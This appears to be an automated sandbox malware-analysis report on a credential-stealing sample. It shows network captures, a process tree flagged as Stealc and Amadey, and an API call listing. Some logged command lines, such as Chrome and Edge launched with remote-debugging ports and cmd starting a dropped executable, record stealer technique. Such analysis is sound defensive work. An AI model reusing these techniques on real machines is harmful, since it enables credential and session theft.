2024-12-07 23:49:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:17 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:17 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: e9c8fd08-f01e-003f-7806-48d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234917Z-r1cf579d778mvsklhC1EWRkavg00000003wg00000000a8an x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:17 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:17 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:17 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 755dc25f-d01e-008e-7004-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234917Z-r1cf579d778kr8xrhC1EWRfkun0000000480000000003a3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:17 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:18 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:18 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 09209696-a01e-0021-6305-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234918Z-r1cf579d778xq4f9hC1EWRx41g00000003fg00000000a6d6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:19 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:19 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:19 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 7ea74f9e-f01e-0020-2403-48956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234919Z-r1cf579d778zvkpnhC1EWRv23g000000040g000000003rqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:19 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Target ID:	0
Start time:	18:48:04
Start date:	07/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x9b0000
File size:	1'798'656 bytes
MD5 hash:	E3DFBE72DE430B4043393FB8FF8E2384
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1246263357.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1861693322.000000000129E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1859870792.00000000009B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:48:14
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	18:48:15
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2492 --field-trial-handle=2196,i,4868894601841744955,10257987303288311924,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:48:25
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	18:48:25
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2248,i,9099896745264163238,9476134514677469961,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	18:48:25
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	18:48:26
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=2004,i,15111161645592940276,13810185552624013604,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:10:21
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FIDGHIIECG.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	20:10:21
Start date:	07/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:10:21
Start date:	07/12/2024
Path:	C:\Users\user\Documents\FIDGHIIECG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\FIDGHIIECG.exe"
Imagebase:	0x660000
File size:	3'189'760 bytes
MD5 hash:	071FD9342E197AB323E93E0395FADBD0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.1891033579.0000000000661000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	20:10:23
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x710000
File size:	3'189'760 bytes
MD5 hash:	071FD9342E197AB323E93E0395FADBD0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.1917285827.0000000000711000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	20:10:23
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x710000
File size:	3'189'760 bytes
MD5 hash:	071FD9342E197AB323E93E0395FADBD0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.1916958875.0000000000711000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	20:11:00
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x710000
File size:	3'189'760 bytes
MD5 hash:	071FD9342E197AB323E93E0395FADBD0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2488545879.0000000000711000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	20:11:12
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1013060001\16b11e2c5c.exe"
Imagebase:	0x440000
File size:	1'870'848 bytes
MD5 hash:	5FB2B7580911F21BBB4796C243F64201
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000002.2490560017.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2447835930.000000000136A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	20:11:23
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1013061001\7215223519.exe"
Imagebase:	0x540000
File size:	1'798'656 bytes
MD5 hash:	E3DFBE72DE430B4043393FB8FF8E2384
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000003.2475592661.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	20:11:24
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1013060001\16b11e2c5c.exe"
Imagebase:	0x440000
File size:	1'870'848 bytes
MD5 hash:	5FB2B7580911F21BBB4796C243F64201
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 6CE86E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFD2120,6CE87E60), ref: 6CE86EBC
TlsGetValue.KERNEL32 ref: 6CE86EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE86EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CE86F25

Part of subcall function 6CE5A900: TlsGetValue.KERNEL32(00000000,?,6CFD14E4,?,6CDF4DD9), ref: 6CE5A90F
Part of subcall function 6CE5A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE5A94F

PR_Unlock.NSS3 ref: 6CE86F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CE86FA9
TlsGetValue.KERNEL32 ref: 6CE870B4
EnterCriticalSection.KERNEL32(?), ref: 6CE870C8
PR_CallOnce.NSS3(6CFD24C0,6CEC7590), ref: 6CE87104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE87117
SECOID_Init.NSS3 ref: 6CE87128
PORT_Alloc_Util.NSS3(00000057), ref: 6CE8714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE8717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE871A9
PR_NotifyAllCondVar.NSS3 ref: 6CE871CF
PR_Unlock.NSS3 ref: 6CE871DD
free.MOZGLUE(?), ref: 6CE871EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE87208
free.MOZGLUE(00000000), ref: 6CE87221
free.MOZGLUE(00000001), ref: 6CE87235
TlsGetValue.KERNEL32 ref: 6CE8724A
EnterCriticalSection.KERNEL32(?), ref: 6CE8725E
PR_NotifyCondVar.NSS3 ref: 6CE87273
PR_Unlock.NSS3 ref: 6CE87281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE87291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE872B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE872D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE872E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE87301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE87310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE87335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE87344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE87363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE87372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CFC0148,,defaultModDB,internalKeySlot), ref: 6CE874CC
free.MOZGLUE(00000000), ref: 6CE87513
free.MOZGLUE(00000000), ref: 6CE8751B
free.MOZGLUE(00000000), ref: 6CE87528
free.MOZGLUE(00000000), ref: 6CE8753C
free.MOZGLUE(00000000), ref: 6CE87550
free.MOZGLUE(00000000), ref: 6CE87561
free.MOZGLUE(00000000), ref: 6CE87572
free.MOZGLUE(00000000), ref: 6CE87583
free.MOZGLUE(00000000), ref: 6CE87594
free.MOZGLUE(00000000), ref: 6CE875A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CE875BD
free.MOZGLUE(00000000), ref: 6CE875C8
free.MOZGLUE(00000000), ref: 6CE875F1
PR_NewLock.NSS3 ref: 6CE87636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE87686
PR_NewLock.NSS3 ref: 6CE876A2

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CE876B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CE87707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE8771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE87731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CE8774A
DeleteCriticalSection.KERNEL32(?), ref: 6CE87770
free.MOZGLUE(?), ref: 6CE87779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE8779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE877AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CE877C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE877DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CE87821
PORT_Alloc_Util.NSS3(?), ref: 6CE87837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE8785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE8786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CE878AC
free.MOZGLUE(00000000), ref: 6CE878BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CE878F3
free.MOZGLUE(00000000), ref: 6CE878FC
free.MOZGLUE(00000000), ref: 6CE8791C

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

Strings

kbi., xrefs: 6CE87886
rdb:, xrefs: 6CE87744
sql:, xrefs: 6CE876FE
Spac, xrefs: 6CE87389
,defaultModDB,internalKeySlot, xrefs: 6CE8748D, 6CE874AA
dbm:, xrefs: 6CE87716
dll, xrefs: 6CE8788E
extern:, xrefs: 6CE8772B
NSS Internal Module, xrefs: 6CE874A2, 6CE874C6
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CE874C7

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
